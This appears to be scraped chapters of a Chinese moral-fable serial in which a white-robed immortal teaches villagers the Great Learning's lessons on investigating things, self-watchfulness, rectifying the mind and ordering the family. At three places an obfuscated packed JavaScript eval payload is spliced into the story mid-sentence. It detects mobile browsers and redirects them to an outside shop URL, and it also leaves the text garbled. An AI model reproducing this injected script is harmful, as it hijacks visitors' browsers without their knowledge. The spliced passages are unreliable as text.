“果之味，非关节气，关乎水土、光照、风向。”来人指竹签，“同一树，枝位不同，果味则异。尔尝三夏，只辨味差，不察枝位，是格其味未格其因。” 又掘树根，见根须四向，各吸不同土质。程惑骇然。 “物有其理，理有其极。果味，末也；树体，本也。尔格果不格树，是知末未知本。”来人以竹枝画地，现“格物当极其本”六字。 程惑悟，遂弃旧录，详察树之根、干、枝、叶、花、实，著“果树本末谱”。二年后，依谱育果，四季树竟结八味之实。 五、 豁然会 四子各有所悟，聚于“四疑轩”。来人指轩中“致知在格物”匾，问：“今可知格物真义？” 程玄曰：“格物当穷其本。如格花，不格其色，而格其根性。” 程默曰：“格物当究其源。如格泉，不格其声，而格其水脉。” 程辩曰：“格物当探其成。如格石，不格其纹，而格其层理。” 程惑曰：“格物当极其本。如格果，不格其味，而格其树体。” 来人颔首：“善。然此犹未至‘豁然贯通’之境。” 遂引四子至庄中“万物台”，台上列花、泉、石、果诸物。来人问：“花、泉、石、果，其理可通否？” 四子茫然。来人取花一朵，投泉中，花随泉涌；取泉一杯，浇石上，泉渗石纹；取石一粒，埋果树下，石润树根；摘果一枚，与花并置，果香染花。 “万物虽殊，其理一也。”来人朗声，“花之开谢，泉之温凉，石之纹层，果之味本，皆循阴阳消长、五行生克、气机流转。今尔等分格四物，是见物之殊，未见理之同。苟能即物穷理，用力之久，一旦豁然贯通，则众物之表里精粗无不到，而吾心之全体大用无不明矣。” 四子如醍醐灌顶。程玄曰：“吾知矣！花之开谢，如泉之涨落，如石之层积，如果之熟落，皆气之聚散耳！” 程默曰：“吾亦知！泉之温凉，如花之朝暮，如石之刚柔，如果之甘辛，皆时之迁流耳！” 程辩、程惑各有所悟。四人相视，忽同声：“物虽有万，理则为一！” 来人抚掌：“此谓物格，此谓知之至也。” 是时，四疑轩中忽有清风拂过，四子旧日所记花谱、泉录、石考、果志，页页自翻，字字浮空，竟相融合，化为一卷《格物通理录》。 六、 通理论 庄主程理大悦，设“通理宴”。席间，来人取四物示众： “今以花、泉、石、果，试言格物之阶。” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088221|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曰即物。”执花，“见花是花，即其形色，程玄初境也。” “二曰穷理。”指泉，“知泉有脉，究其源流，程默所悟也。” “三曰贯通。”叩石，“石纹即水痕，见一知万，程辩所达也。” “四曰致知。”剖果，“果味系树本，明体达用，程惑所臻也。” 又合四物于掌：“至于豁然贯通，则花非花，泉非泉，石非石，果非果，皆是天理流行。至此，心与理一，物与我齐，是谓‘知之至’。” 程理拜问：“先生可否长留授学？” 来人摇首：“格物在己，不在人。某不过指点门径。今四子已入门，当自用功。”起身，指轩外竹林，“竹，物也。其理何在？可自格之。” 言毕，踏竹梢而去，白衣飘举，若凭虚御风。四子追出，但见月下竹影婆娑，杳无踪迹，唯余清音随风： “人心之灵莫不有知， 天下之物莫不有理。 即物穷理贵有恒， 豁然贯通在笃行。” 程玄忽指竹：“竹有节，理有阶；竹心虚，理无穷。此非先生所示乎？” 四子遂共格竹，三月后，著《格竹谱》，阐“竹理通于万物”之论。格物庄学风遂正，后成“理学重镇”。 尾声竹理吟 十年后，有游学士子访格物庄。见庄中人人持簿握笔，或观蚁斗，或察叶落。问其故，庄童答：“此格物也。” “格物为何？” “即物穷理，以求致知。” “可得致知否？” 童指庄中“万物台”：“台上万物，台下万理。理在物中，亦在心中。豁然贯通时，心物一如。” 士子登台，见台心立碑，刻来人当日所言。碑阴有程理跋： “花泉石果四子疑， 先生踏竹指迷途。 即物穷理贵有恒， 豁然贯通在笃行。 四子后来皆成家， 一理贯通万物殊。 寄语世间格物者， 莫将耳目蔽灵府。” 是夜，士子宿庄中，梦来人踏月而至，折竹为笛，奏《格物曲》。醒而记其谱，题曰《竹理吟》： “一物有一理， 万物理归一。 即物穷其源， 日久忽贯通。 表里精粗到， 心体大全明。 此谓物格尽， 此谓知至诚。” 自此，格物庄童蒙皆诵《格物谣》： “格物不是死看书， 即物穷理要功夫。 花泉石果皆有理， 表里精粗要究诸。 用力日久豁然通， 心体大明物无殊。 寄语天下读书子， 格物致知是正途。” 本章诫世 一、 即物穷理 - 致知在格物，在即物而穷其理 - 破解法：遇事遇物，不浮表面，要“即”而“穷”之 - 示例：四子初格物，但即不穷，故知不尽 二、 穷理有阶 - 人心之灵莫不有知，天下之物莫不有理 - 惕世：多少人见物即判，不穷其理？多少人浅尝辄止，便谓得道？ - 反思：我于事物，可曾“穷理”？可曾“用力之久”？ 三、 豁然贯通 - 用力之久，一旦豁然贯通，则众物之表里精粗无不到，吾心之全体大用无不明 - 深层隐喻：理一分殊。万物殊相，一理贯通 - 终极指向：物格而后知至。真知非记闻，是贯通 格物偈： 格物庄中四子疑，花泉石果各执迷。 白衣踏竹指真径，即物穷理是根基。 程玄格花穷根本，程默格泉究源溪。 程辩格石探成理，程惑格果极本枝。 四子贯通悟一理，豁然心物两无歧。 寄语世间求道者，莫将耳目蔽灵犀。 后世叹： 大学始教在格物，即物穷理是真途。 四子当初迷表相，花泉石果各拘墟。 白衣指点穷源本，一旦贯通心体虚。 寄语后来读书客，笃行用力莫踌躇。 正是： 致知要在格物先，即物穷理是真诠。 人心有知物有理，理有未穷知不全。 用力日久豁然贯，表里精粗一时圆。 格物庄中四子讼，踏竹仙人指洞天。 70. 慎独谳 楔子三面镜 淮水之阴有山城名“诚邑”，城中有“三面阁”，阁藏奇镜：一曰“自照镜”，人前对之，可见己之形容；二曰“他心镜”，暗处对之，可见人之肺肝；三曰“十目镜”，独处对之，如十目所视、十手所指。相传为前朝隐士所铸，铭曰“君子慎独”。 然百年以降，三镜蒙尘。邑中有三富室：东街金员外，人前施粥，人后盘剥；西巷钱掌柜，明面赊欠，暗地重利；南市孙东家，堂上孝子，室内虐仆。三人皆伪善，然邑人畏其势，莫敢言。 是岁上元，三镜忽生异象：自照镜中，金员外照出骷髅面；他心镜中，钱掌柜照出蛇蝎肠；十目镜中，孙东家照出百目围视。三人惊惧，延僧道禳解无效。 正月十六，城中演“慎独戏”，搬演曾子“十目所视”故事。正至高潮，忽闻后台一声清啸，但见戏台梁上一道白影翻身而下——竟从“天宫”布景的云朵中飘然落地。 来人头戴素纱帷笠，垂纱及肩，面覆鲛绡，隐约只见眼眸清冽如寒泉；身着月白纻麻深衣，衣摆缀七星，暗合天罡；外罩素罗半臂，以银线绣流云纹，行动时云纹荡漾，恍若御风。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如岁轮，似蕴千年岁月。足踏六合靴，靴尖微翘，不染尘泥。 身形高挑，立于台上，帷笠轻纱无风自动。满场寂然，分不清是戏是人，是仙是凡。 来人执木剑，点地三下，声如金玉： “所谓诚其意者：毋自欺也！” 又点三下： “小人闲居为不善，无所不至，见君子而后厌然，掩其不善，而著其善。” 再点三下： “十目所视，十手所指，其严乎！” 诵罢，木剑指台下三富室：“三位员外，可愿对镜一观？” 三人色变。来人飘然下台，衣袂不掀尘埃：“某有三桩‘慎独’公案，可请三位分观。观毕，再论诚意。” 一、 自欺谳（金员外） 金员外有米行，常以陈米充新，沙石掺谷。人前设粥棚，人后提斗秤。是日，米行前有老妪泣：“昨日购米三升，沙有半升，吾儿噎伤…” 金员外叱：“刁妇诬赖！”命仆驱之。 来人引金员外至自照镜前。镜中金员外锦衣玉带，然面目渐腐，终成骷髅。金员外骇退。 “镜非妖，是心映。”来人问，“员外可闻‘如恶恶臭，如好好色’？恶臭自然厌，好色自然喜，此谓自谦（慊）——心安理得。今员外行不善而伪善，可自谦否？” 金员外强辩：“吾行善多年…” “行善为名，是自欺；行恶为实，是真性。”来人取米一斗，倾于镜前，沙石毕现，“此米，员外可自食否？” 金员外语塞。来人曰：“毋自欺也。欺人易，欺心难。镜中骷髅，是尔心相。心已腐，面岂不腐？” 又引至粥棚，时值正午，饥民排队。来人问一稚子：“此粥可饱否？” 稚子啜泣：“粥稀见底…” 来人取勺搅粥，竟捞起鼠骸。众哗然。金员外面如死灰。 “小人闲居为不善，无所不至。”来人朗声，“员外闭门时，可曾想此粥棚？可曾想掺沙米？可曾心安？今镜现真相，是警尔：诚意，先不自欺。” 金员外伏地泣：“吾…吾知罪！”遂开仓赈米，尽易新粮。是夜，自照镜中骷髅渐复人形，然眉心一点黑，终不褪。 来人曰：“此黑点，是前愆。虽改过，痕犹在。慎独之功，贵在始终。” 二、 掩善谳（钱掌柜） 钱掌柜开当铺，重利盘剥。有寒士典祖传砚，期三月，钱掌柜暗改票据为半月。寒士逾期，砚没。寒士讼于官，钱掌柜呈假票，胜诉。 来人引钱掌柜至他心镜前。镜中钱掌柜捧账册，然腹中钻出蛇蝎，绕册而噬。钱掌柜掩面。 “人之视己，如见其肺肝然。”来人问，“掌柜可觉，近日背生芒刺，夜多惊梦？” 钱掌柜颤声：“然…” “此即肺肝自现。尔掩不善，而著其善，然不善在中，形必于外。譬如怀臭，人皆掩鼻；譬如藏奸，神鬼共嫉。” 取假票与真票并置镜前，镜中竟现两票叠影，假票字迹浮凸如蚓。钱掌柜骇绝。 “他心镜，非照他心，是照己心之暗处。”来人道，“尔改票时，可有一念不安？此不安，即是良知。今镜现真相，是良知不灭。” 又引至当铺，寒士正跪门前泣诉。来人问：“掌柜，此砚值几何？” “值…十两。” “寒士祖德值几何？” 钱掌柜汗下。来人取砚，以指叩之，砚底竟脱落，中藏血书，乃寒士先祖戍边遗笔：“宁碎砚，不降虏。”满街动容。 “砚有魂，人岂无心？”来人叹，“尔掩不善，而魂不昧；著伪善，而心不安。何苦？” 钱掌柜大恸，还砚谢罪，更焚假票，改行规。是夜，他心镜中蛇蝎渐萎，然蛇首一枚，化石刻于腹。 来人曰：“此石，是前过之印。虽改，印不灭。慎独之要，在初念即正。” 三、 十目谳（孙东家） 孙东家有染坊，虐仆甚酷。仆阿三失手污锦，孙东家命鞭笞三十，囚于柴房。阿三老母求情，孙东家叱：“贱奴命，不如一匹锦！” 来人引孙东家至十目镜前。镜中孙东家方举鞭，忽有百目自四方现，瞪视如电；百手自虚空出，指戳如戟。孙东家惊倒。 “十目所视，十手所指，其严乎！”来人问，“东家可闻夜间鞭声回响？可闻暗处泣声呜咽？” 孙东家战栗：“有…有…” “此即天视天听。尔以为独处可妄为，岂知独处正是鬼神共监之时。” 引至柴房，阿三已奄奄。来人取木剑轻点其额，阿三苏。老母拜泣。 “富润屋，德润身。”来人指孙东家华服，“尔屋华，身可润？心可安？体可胖（舒泰）？” 孙东家赧然。来人又指阿三伤痕：“此伤在身，亦在尔心。每鞭一下，尔心多一痕；每囚一日，尔德损一分。今镜中百目，是尔心上伤痕所化。” 孙东家泣拜，释仆医伤，更分家产之三成恤贫。是夜，十目镜中百目渐隐，然正中一目永睁，如天眼。 来人曰：“此目，是天监。虽改，监常在。慎独之极，在不愧屋漏。” 四、 诚意会 三人悔改，聚于三面阁。来人指阁额“慎独”二字： “诚意，在毋自欺。三位初时自欺欺人，故镜现异象。今虽改，然痕印尚在，可知慎独之功，非一时，是一世。” 金员外问：“吾眉心黑点，如何可消？” “真诚行善，不杂伪心。黑点自淡，然不可尽消。前愆如刻木，痕永在，警后来。” 钱掌柜问：“吾腹中石印，如何可化？” “真诚悔过，永不再犯。石印自小，然不可尽化。前过如凿石，印永在，惕将来。” 孙东家问：“吾镜中天目，如何可闭？” “真诚修德，心无愧怍。天目自柔，然不可尽闭。天监如日月，照永在，勉终生。” 三人拜服。来人遂率众重拭三镜，更于阁中立“诚意碑”，刻《大学》“诚意”章全文。碑阴题： “自欺者，镜现骷髅； 掩善者，镜现蛇蝎； 亏心者，镜现十目。 三镜非妖， 人心自照。 君子慎独， 在诚其意。 意诚则心安， 心安则德润， 德润则身泰， 身泰则屋华。 富润屋，德润身， 心广体胖是真人。” 碑成，三镜复明如常。自此，诚邑富室多行善，慎独成风。 五、 独处谳 越三月，来人将行。三富室于三面阁设宴饯别。席间，忽有邑吏急报：城隍庙祝夜盗香火钱，被擒。庙祝辩：“夜深独处，孰人可见？” 来人莞尔：“可引至十目镜前。” 庙祝对镜，果见十目灼灼，惊伏认罪。满座慨叹。 来人曰：“慎独非畏人知，是畏己知。人可欺，己不可欺；人可见，己已先见。此谓‘诚于中，形于外’。今庙祝盗钱，虽无人见，然盗时手颤，藏时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088222|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心跳，寝时梦魇，此皆形也。岂真能掩？” 又指三富室：“三位前日之过，亦如是：金员外掺沙，手必抖；钱掌柜改票，气必虚；孙东家虐仆，眠必惊。此皆形于外，不过自掩耳目耳。” 三人心服。来人取木剑，就阁外地划一圈： “此圈内，诸君试独处一刻，自省可有不善之念？” 众人入圈，闭目静思。一刻后，金员外汗出：“吾思及旧债未偿…”钱掌柜赧然：“吾忆及假账未销…”孙东家泣：“吾念及仆伤未愈…” 来人拊掌：“此即慎独之功。独处时，念头最真。能自省自克，是诚意根基。” 遂教“慎独法”：每夜静坐，自问今日“可有自欺？可有掩过？可亏心？”有则记之，明日改之。众人遵行，诚邑风气愈淳。 尾声慎独谣 三年后，诚邑夜不闭户。有外邑奸商来，欲售伪药，见邑童游戏，唱《慎独谣》： “诚意先毋自欺， 如恶恶臭好好色。 小人闲居做坏事， 见人掩恶心惴惴。 十目所视十手指， 富润屋来德润身。 君子必先诚其意， 慎独功夫在真心。” 奸商惭退。适来人策马再过，闻童谣，下马问：“汝等慎独，独处时可有不善念？” 童答：“先生教，有念即记，明日改。” “可难否？” “初难，久成习。如恶臭自然厌，不消强忍。” 来人莞尔，取木剑划地，现八字： “慎独非束， 是心安泰。 诚意非苦， 是性自然。” 童拜问：“先生，可能永驻？” 来人指心：“慎独在尔心，何需外求？”踏鞍上马，衣袂飘举，竟纵马直上城楼，自雉堞间一跃而下，落入护城河——然人马未沉，踏波如履平地，转瞬逝于烟水之间。 满城惊睹，方知是仙。自此，诚邑又名“慎独邑”。 后百年，三面阁犹存。有书生夜读阁中，倦伏案，梦来人执木剑点其额：“子白日见利心动，可自知？” 书生惊寤，汗透重衣。翌日，还拾遗金。人问：“夜独无人，何以不匿？” 书生指阁上“慎独”匾：“十目所视，敢不诚乎？” 本章诫世 一、 毋自欺 - 诚其意者，毋自欺也。如恶恶臭，如好好色 - 破解法：遇事自问：我可自欺？此事如恶臭自然厌否？如好色自然好否？ - 示例：金员外掺沙，是自欺；对镜现骷髅，是心相 二、 慎独 - 君子必慎其独。小人闲居为不善，见君子而后厌然 - 惕世：多少人“人前是佛，人后是魔”？多少“善行”是做给人看？ - 反思：我独处时，可有不善念？可有愧怍行？ 三、 十目所指 - 十目所视，十手所指，其严乎！富润屋，德润身 - 深层隐喻：天知地知，你知我知。独处正是天监最严时 - 终极指向：诚意在慎独。意诚则德润，德润则身泰，自然心广体胖 慎独偈： 诚邑三富伪善行，三面镜照肺肝情。 金员掺沙骷髅现，钱贾改票蛇蝎狞。 孙东虐仆十目指，三子骇绝拜泣诚。 白衣示以慎独法，毋自欺兮诚意明。 富润屋兮德润身，心广体胖是坦平。 至今三镜阁中挂，犹照世人独处贞。 后世叹： 诚意先须毋自欺，慎独功夫不可移。 小人闲居为不善，见君掩恶心怵惕。 十目所视十手指，富润屋宇德润肌。 寄语世间独处客，莫道无人可欺罔。 正是： 诚意慎独毋自欺，如恶恶臭好美姿。 小人闲居为不善，见君掩恶心怵惕。 十目所视十手指，富润屋宇德润肌。 三面镜中肺肝现，白衣指点诚意基。 71. 正心谳 楔子·四患井 洛水之畔有古镇名曰“正心镇”，镇中有“四患井”，相传乃前朝大儒凿以自警。井分四隅：东隅“忿懥井”，汲水者怒；西隅“恐惧井”，汲水者惧；南隅“好乐井”，汲水者耽；北隅“忧患井”，汲水者忧。井壁刻《大学》章句：“身有所忿懥，则不得其正…心不在焉，视而不见，听而不闻，食而不知其味。” 年深日久，井壁苔侵，字迹漫漶。镇中有四匠：铁匠雷怒，性烈如火，一锤不合，即掷锤怒骂；画师白惧，胆怯如鼠，见人争执，即瑟缩掩面；琴师柳耽，嗜琴成痴，闻琴废寝，卖屋购琴；棋士常忧，多虑成疾，一子得失，三夜不眠。 四人皆染“心不正”之疾：雷怒打铁，常伤己手；白惧作画，不敢点睛；柳耽弹琴，妻离子散；常忧下棋，呕血数次。镇人叹：“四匠有四患，四井应四心。” 是岁端阳，四井忽生异象：忿懥井水沸如汤，恐惧井水凝成冰，好乐井水甘如蜜，忧患井水苦似胆。四匠各自对井，病症愈重。 正午，镇中演“正心傩”，傩面四具：怒目红面、惧相青面、痴相粉面、忧相黄面。舞至酣处，忽闻一声裂帛——但见那“痴面”傩师手中竹骨伞“砰”地炸开，伞面如白莲绽放，一人自伞中飘然而出！ 来人头戴素纱帷笠，笠缘垂及肩的月白轻纱，面上蒙着同色鲛绡，只在双目处透出两点寒星；着一身云纹素罗深衣，衣摆以银丝绣着疏疏落落的竹叶纹，行动时竹叶仿佛随风摇曳。外罩一件无袖素纱罩袍，袍角缀七枚玉铃，却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹路如流水，似有波纹荡漾。足踏素锦软靴，靴面不染纤尘。 身形清癯，立于傩戏台上，帷笠轻纱与傩师彩衣同飘，竟似从傩面中化出的精魄。台下观者怔忡，分不清是傩是仙。 来人木剑轻点地面，声如碎玉： “身有所忿懥，则不得其正！” 又点： “有所恐惧，则不得其正！” 再点： “有所好乐，则不得其正！” 复点： “有所忧患，则不得其正！” 诵罢，木剑遥指四井：“四位匠人，可愿就井观心？” 四匠面面相觑。来人飘然下台，衣袂如云舒展：“某有四桩‘正心’公案，可请四位分观。观毕，再论修身。” 一、 忿懥谳（雷怒） 铁匠雷怒，镇东开铺。是日，有客定制鸳鸯剑，嫌剑纹稍斜。雷怒勃然：“吾打铁三十年，未有敢嫌者！”举锤欲殴客。 来人引雷怒至忿懥井。井水墨黑，沸腾如怒涛。雷怒临井一照，水中倒影竟面目狰狞，双目喷火。骇而后退，井水渐平。 “忿懥如水沸，心不得其正。”来人问，“君每怒时，可觉目眩耳鸣，手颤心悸？” 雷怒喘道：“然…然！” “此即心不正之症。心为身主，心怒则身摇，身摇则锤偏，锤偏则剑歪。君怪客嫌剑，实乃自心不正，致手艺有偏。” 取雷怒所打铁器数件，置日光下照看：菜刀微卷，柴斧略斜，镰刀偏锋。雷怒汗下。 来人又引至铁铺，令雷怒静坐一刻，再打一钉。雷怒初坐如针毡，继而呼吸渐平，一刻后打钉，钉身笔直如尺。 “此钉与旧钉，孰正？” 雷怒赧然。来人曰：“修身在正其心。心正，则锤正；锤正，则器正。今君能静心一刻，即得正心一瞬。若能常保此心，何器不成？” 雷怒拜问：“然遇嫌客，何以制怒？” “制怒非压怒，是化怒。”来人取井水一瓢，泼于炭炉，烟起火熄，“怒如火，以忍压之，如添薪；以理化之，如水泼。君可自思：客嫌剑，是助君精进，何怒之有？” 雷怒恍然，遂于铺前立“正心牌”，刻“制怒如淬剑，心平器自正”。自此，怒时必静坐一刻，所出铁器，渐成珍品。 二、 恐惧谳（白惧） 画师白惧，镇西设肆。善画虎，然从不点睛，曰“点睛恐虎噬人”。有豪客掷金求点睛虎，白惧战栗不能笔。 来人引白惧至恐惧井。井水青黑，凝冰如镜。白惧临井一照，水中倒影蜷缩如鼠。井冰忽裂，影碎，白惧惊叫掩面。 “恐惧如水冰，心不得其正。”来人问，“君每惧时，可觉血凝肢冷，气短神散？” 白惧颤答：“是…是！” “此即心不正之症。心为神舍，心惧则神散，神散则手抖，手抖则笔歪。君怕虎噬，是心自噬，非虎噬人。” 取白惧未点睛虎图，悬于壁。又取朱砂笔：“请点睛。” 白惧手抖如筛。来人以木剑轻按其背：“心正则笔正。虎在纸中，安能噬人？所惧者，心中之虎耳。” 白惧咬牙点晴，笔落，虎目炯炯，满堂生威。观者喝彩，白惧忽觉心胸一畅。 “此即心正之功。”来人道，“恐惧如冰，日照则融。君今日点睛，如破心中冰。日后遇事，当思‘虎在纸上’，何惧之有？” 又引至画肆，见满壁画作皆无睛。来人叹：“君画十年，画虎千幅，然幅幅无睛，是画皮未画骨，画形未画神。心惧至此，可惜可惜。” 白惧泣拜。来人教“破惧法”：每日对镜自画，必点睛。初时手抖，久则自如。三月后，白惧点睛虎名动四方，豪客争购。人问：“不畏虎噬乎？” 白惧笑：“心中无虎，纸上虎何噬？” 三、 好乐谳（柳耽） 琴师柳耽，镇南居。嗜琴如命，倾家购“焦尾琴”，妻劝，柳耽叱：“琴即吾命！”妻携子去，柳耽不悔，日夜抚琴，竟至断炊。 来人引柳耽至好乐井。井水琥珀色，甘香扑鼻。柳耽临井一照，水中倒影抱琴痴笑，面如醉酡。掬水饮之，竟忘饥渴。 “好乐如蜜饴，心不得其正。”来人问，“君抚琴时，可觉时逝不觉，饥寒不知？” 柳耽痴答：“然…抚琴三日，如弹指耳。” “此即心不正之症。心为欲主，心耽则神迷，神迷则身忘，身忘则家破。琴本怡情，今反伤身，是本末倒置。” 取焦尾琴，令柳耽弹《清心引》。柳耽初弹如醉，渐入痴境。来人忽以木剑点其虎口，琴声戛止。 “心不在焉，视而不见，听而不闻，食而不知其味。”来人叹，“君抚琴时，可见妻儿涕泪？可闻邻舍叹息？可知米缸已空？” 柳耽怔然。来人引至其家，但见蛛网满梁，灶冷甑尘。唯一琴一几，光洁如新。 “修身在正其心。好乐过度，心为乐奴，身亦随之。今君为琴弃家，是心为琴役，非心役琴。” 柳耽大恸。来人教“节乐法”：每日抚琴，以香计时，一炷即止。又令其售焦尾琴，购常琴，余资赎回家具，寻妻儿。柳耽从之，后琴艺反进，人问其故，答：“心正，则琴音正；琴音正，则动人心。” 四、 忧患谳（常忧） 棋士常忧，镇北设枰。弈棋必求全胜，一子失，则三日不食，五日不眠。近年呕血数次，医者曰：“再忧，命不久矣。” 来人引常忧至忧患井。井水灰褐，味苦刺舌。常忧临井一照，水中倒影蹙眉捧心，面如枯槁。井水忽泛涟漪，影碎如病骨。 “忧患如苦药，心不得其正。”来人问，“君弈棋时，可觉胸闷气短，头眩心悸？” 常忧咳道：“每至中盘，汗透重衣…” “此即心不正之症。心为虑府，心忧则气结，气结则血瘀，血瘀则伤身。棋本戏耳，今成索命枷，岂不谬哉？” 取棋枰，与常忧对弈。常忧布局精妙，然至中盘，来人忽落一闲子。常忧蹙眉苦思半日，来人笑：“此子无关胜负，君何虑之深？” “万一有伏…” “弈棋如用兵，虑胜亦虑败，然过虑则失机。”来人点木剑于枰，“君之病，在求全。求全则生忧，忧甚则伤身。身伤，何以弈棋？” 又引至其室，见满墙棋谱，地上以炭画枰，枕畔有棋，梦中犹呓“征子”。来人叹：“心在棋，则不在身；身在棋，则不在家。君可记得，上次沐浴何时？上次饱餐何日？” 常忧默然。来人教“解忧法”：每日弈棋，以漏刻限时，时到即止。又令其每十日必游山一日，不思棋事。半年后，常忧呕血止，棋力反进，夺得“镇弈魁首”。人问：“不忧败乎？” 常忧笑：“胜固欣然，败亦可喜。心不系胜负，反得自在。” 五、 正心会 四匠病愈，聚于四患井。来人指井壁斑驳字迹： “忿懥、恐惧、好乐、忧患，四者皆心之偏。心偏则身不正，身不正则事不成。修身在正其心，正心在去四患。” 雷怒问：“四患可尽去否？” “非尽去，是调和。”来人取四井水，倾于一瓮，“如四水合一，忿懥如沸，可激浊扬清；恐惧如冰，可镇静安神；好乐如蜜，可怡情悦性；忧患如药，可惕厉奋进。用之得当，皆为良剂；用之失当，皆成心疾。” 又引四匠至镇中“正心堂”，堂悬古匾“心在身中”。来人曰：“心不在焉，则视而不见，听而不闻，食而不知其味。今四子各患一疾，皆是心不在焉：雷怒心在怒，故视锤不见偏；白惧心在惧，故视虎不见威；柳耽心在乐，故视琴不见家；常忧心在忧，故视棋不见身。心既偏，身安得正？” 遂教“正心法”：每日晨起，对镜自问“心在何处”；日中行事，时时常觉“心在当下”；夜寐前省，反思“心可偏否”。四匠遵行，各于铺前立“正心牌”，书已之病为戒。 三月后，四井异象自消：忿懥井水温，恐惧井水清，好乐井水淡，忧患井水甘。镇人奇之，来人曰：“非井变，是人心正，映井亦正。” 六、 镜中谳 端阳又至，正心镇办“正心祭”，四匠为主祭。祭间，忽有外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白惧执笔：“心不惧，笔自定。” 柳耽抚琴：“心不耽，琴自和。” 常忧落子：“心不忧，棋自生。” 士子不解。适童子嬉戏，唱《正心谣》： “修身先要正其心， 四患除去身自宁。 一患忿懥心火烧， 二患恐惧胆如冰。 三患好乐迷心窍， 四患忧患苦自寻。 心正自然身修正， 四正镇里乐太平。” 士子恍然。是夜，宿镇中，梦来人踏月而至，以木剑点其额：“子有忿懥，因师责；有恐惧，因科考；有好乐，因诗文；有忧患，因前程。四患缠心，何以正？” 士子惊寤，汗出如浆。翌日，辞馆归乡，静心读书。后登科，不忘四正之教，为官清正。 镇中四患井，后成“四正泉”，水清可鉴。有心动不正者临照，水面自现怒、惧、痴、忧相。人传：“此乃白衣仙人所留正心镜也。” 本章诫世 一、 心正身正 - 修身在正其心。身有所忿懥、恐惧、好乐、忧患，则不得其正 - 破解法：遇事自问：我心可在？可忿、惧、好、忧？ - 示例：四匠各患一心，故身不正，事不成 二、 心不在焉 - 心不在焉，视而不见，听而不闻，食而不知其味 - 惕世：多少人做事时心不在焉？多少过失因心偏而生？ - 反思：我此刻心在何处？可曾“食而不知其味”？ 三、 四患调和 - 四患非尽除，是调和。用之得当，皆为良剂 - 深层隐喻：忿懥可作勇，恐惧可作慎，好乐可作趣，忧患可作勤 - 终极指向：心正则身修。心不在外，在腔子里；修不在远，在正心上 正心偈： 正心镇里四匠迷，忿惧好忧各心离。 雷怒锤偏因忿懥，白惧笔怯为恐惧。 柳耽琴痴缘好乐，常忧棋病自忧疑。 白衣指说正心法，四子涤患悟玄机。 心正自然身修谨，从兹四正镇名驰。 寄语世间修行客，莫教心猿意马驰。 后世叹： 修身之道在正心，四患缠身事不成。 忿懥恐惧好忧患，心偏自然身亦倾。 四匠当初迷本心，锤偏笔怯琴棋萦。 白衣点破正心法，心正身修万事亨。 正是： 修身先要正其心，四患除去身自宁。 忿懥恐惧好忧患，心有一偏事不成。 心不在焉视不见，食不知味听不闻。 四匠当初迷四患，白衣指点正心经。 72. 齐家谳 楔子·五辟碑 沅水之阳有古村落名“齐家庄”，庄口立“五辟碑”，碑文斑驳，隐约可辨：“人之其所亲爱而辟焉…之其所贱恶而辟焉…之其所畏敬而辟焉…之其所哀矜而辟焉…之其所敖惰而辟焉…”相传为前朝隐士所立，警示村人齐家之道。 然百年沧桑，碑文渐湮。庄中有五大户：赵氏亲爱其子，纵子行凶；钱氏贱恶其妻，动辄鞭笞；孙氏畏敬其父，父过不谏；李氏哀矜其弟，弟恶不惩；周氏敖惰其仆，仆勤不赏。五家皆“身不修不可以齐其家”，家宅不宁，邻里侧目。 是年谷雨，五辟碑忽生异象：碑上“亲爱”二字渗血，“贱恶”二字生苔，“畏敬”二字龟裂，“哀矜”二字泛白，“敖惰”二字倾斜。五户家主临碑，皆心神不宁。 四月初八，村中办“齐家祭”，演古戏《五辟鉴》。正演至“亲爱而辟”一节，忽闻戏台大鼓“咚”一声闷响——鼓皮未破，却自鼓腹中升起一团白雾，雾散处，一人倚鼓而立。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色冰绡，只露双瞳清冷如秋水；着一身云纹素罗深衣，衣摆以银线绣着疏疏的兰草纹，行动时兰叶仿佛临风微颤。外罩一件无袖素纱鹤氅，氅角缀七枚玉环，环环相扣却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如流云，似在缓缓舒卷。足踏素锦步云履，履尖微翘，不沾尘土。 身形颀长，立于戏鼓之侧，帷笠轻纱与戏台幔帐同飘，竟似从鼓声中幻化而出的精魂。台下观者愕然，分不清是戏是幻。 来人木剑轻点鼓面，声如清磬： “人之其所亲爱而辟焉！” 又点： “之其所贱恶而辟焉！” 再点： “之其所畏敬而辟焉！” 复点： “之其所哀矜而辟焉！” 五点： “之其所敖惰而辟焉！” 诵罢，木剑遥指五辟碑：“五位家主，可愿对碑自省？” 五户家主面面相觑。来人飘然下台，衣袂如流云舒卷：“某有五桩‘齐家’公案，可请五位分观。观毕，再论修身。” 一、 亲爱而辟谳（赵员外） 